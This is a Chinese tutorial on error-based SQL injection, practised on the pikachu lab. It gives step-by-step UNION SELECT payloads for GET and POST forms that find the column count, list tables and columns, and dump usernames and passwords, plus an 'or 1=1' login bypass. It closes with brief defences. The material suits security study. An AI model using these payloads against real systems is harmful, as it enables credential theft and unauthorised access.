显错注入
显错注入是sql注入的一种。是指web应用程序未对用户传入的数据做合法性校验,从而导致攻击者可以通过构造sql语句结合页面回显获取到想要的数据。
相关知识补充
- Mysql系统自带库:information_schema库,用于存储数据库元数据,如数据库名、表名、列的数据类型等。information_schema.tables存放数据库表数据,informatison_schema.columns存放数据库列数据。
- union select:联合查询。联合多个select查询的结果集。这里需要注意的是联合查询的每个select查询列数量必须相同,因此在注入中一般先通过order by判断列数后再进行联合查询。
- group_concat():此函数用于将查询结果合并为一行,以逗号隔开进行展示。联合查询时无法进行多行展示,通过limit逐行获取太过繁琐,可通过group_concat()将查询所有查询结果合并在一行进行展示。
靶场练习-GET
- 判断注入点
传参一个’可以看到报错如下:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
因此可以大致判断后台查询语句可能为:
select column_name from table_name where name = '\''.$name.'\''
因为传参是一个’则会导致整条语句中多出一个’来,无法正常闭合从而出现了报错。这里我们可以构造语句将其闭合掉。
vince' and 1=1 -- qwe ##-- qwe是注释符,等同#。在URL中#可能会被当作锚点,因此采用此方式进行注释
练习的靶场是pikachu,vince是该靶场中的默认账户。
将上面的语句拼接到原语句中则会是:
select column_name from table_name where name = 'vince' and 1=1 -- qwe'
后面的’被注释掉了,前面构成了一个完整的查询语句。1=1结果为True,语句可以正常执行。
实战环境中很少能够直接看到数据库的报错,因此可以多尝试猜测一下’ " ') ")等多种闭合方式。
2. 猜解字段数
知晓注入点后我们可通过union select联合查询的方式获取到我们需要的数据,但因为联合查询的特性,两个查询语句的查询字段数必须相同,因此需要先通过order by猜解出字段数。
vince' and 1=1 order by 1 -- qwe
vince' and 1=1 order by 2 -- qwe
vince' and 1=1 order by 3 -- qwe
不停的更换列数,直至无法获取到数据。
这里可以看出,有两个字段。那么便可构造联合查询判断显错点了。
vince' union select 1,2 -- qwe
两个字段均有回显。
- 查询当前库名
vince' union select database(),2 -- qwe
- 查询表名
vince' union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu' -- qwe
- 查询users表中的字段
vince' union select group_concat(distinct column_name),2 from information_schema.columns where table_name='users' -- qwe ##group_concat(distinct column_name)是将输出内容去重
- 查询记录内容
vince' union select group_concat(username),group_concat(password) from users -- qwe
靶场练习-POST
- 判断注入点
POST注入一般出现在需要提交表单的地方,如登录框、留言板等。这里若是登录框的情况则涉及一个万能密码的概念,假设后台的查询语句是:
select * from users_table where username='\''.$username.'\'' and '\''.$password.'\''
这是我们若在username传参:
1' or 1=1 -- qwe
那么拼接到查询语句中则是:
select * from users_table where username='1' or 1=1 -- qwe and password=''
后面的and password=’'被注释掉,前面语句恒成立,所以不用在意密码便可通过认证了。
既然识别了注入点,那么后面的操作与GET相同。
- 猜解字段数
1' or 1=1 order by 1 -- qwe
1' or 1=1 order by 2 -- qwe
1' or 1=1 order by 3 -- qwe
- 判断显错点
1' union select 1,2 -- qwe
- 查询当前数据库名
1' union select database(),2 -- qwe
- 查询表名
1' union select group_concat(table_name),2 from information_schema.tables where table_schema='security' -- qwe
- 查询users表的字段名
1' union select group_concat(distinct column_name),2 from information_schema.columns where table_name='users' -- qwe
- 查询记录内容
1' union select group_concat(username),group_concat(password) from users -- qwe
总结
任何和数据库交互的地方都有可能产生注入,在渗透测试时,可以尽可能的收集到服务器类型及数据库类型,便可通过对应服务器或数据库的特点进行构造注入语句。
sql注入可以通过以下几种方式应对:
- sql语句预编译:sql引擎预先将语句进行语法分析,那么无论用户传入的是什么参数则都不会影响到原先的语法结构。
- 严格检查传参:可以通过正则的方式过滤掉传参中出现的一些非法字符或sql函数。
目前很多语言都有安全函数来防御sql注入,总的来说注意代码规范便可有效的防御sql注入。